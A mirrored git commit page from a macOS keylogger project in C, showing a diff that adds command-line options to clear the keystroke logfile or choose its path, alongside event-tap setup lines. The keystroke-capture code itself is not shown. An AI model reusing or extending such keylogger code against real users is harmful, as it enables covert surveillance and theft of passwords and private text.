mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Add support for command line args.
This commit is contained in:
parent
025d2d9c6b
commit
e218979983
@ -19,6 +19,15 @@ int main(int argc, const char *argv[]) {
|
|||||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||||
CGEventTapEnable(eventTap, true);
|
CGEventTapEnable(eventTap, true);
|
||||||
|
|
||||||
|
// Clear the logfile if clear argument used or log to specific file if given.
|
||||||
|
if(argc == 2) {
|
||||||
|
if(strcmp(argv[1], "clear") == 0) {
|
||||||
|
fopen(logfileLocation, "w");
|
||||||
|
} else {
|
||||||
|
logfileLocation = argv[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Get the current time and open the logfile.
|
// Get the current time and open the logfile.
|
||||||
time_t result = time(NULL);
|
time_t result = time(NULL);
|
||||||
logfile = fopen(logfileLocation, "a");
|
logfile = fopen(logfileLocation, "a");
|
||||||
|
@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
|
#include <string.h>
|
||||||
#include <ApplicationServices/ApplicationServices.h>
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
#include <Carbon/Carbon.h>
|
#include <Carbon/Carbon.h>
|
||||||
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
|
||||||
|
Loading…
x
Reference in New Issue
Block a user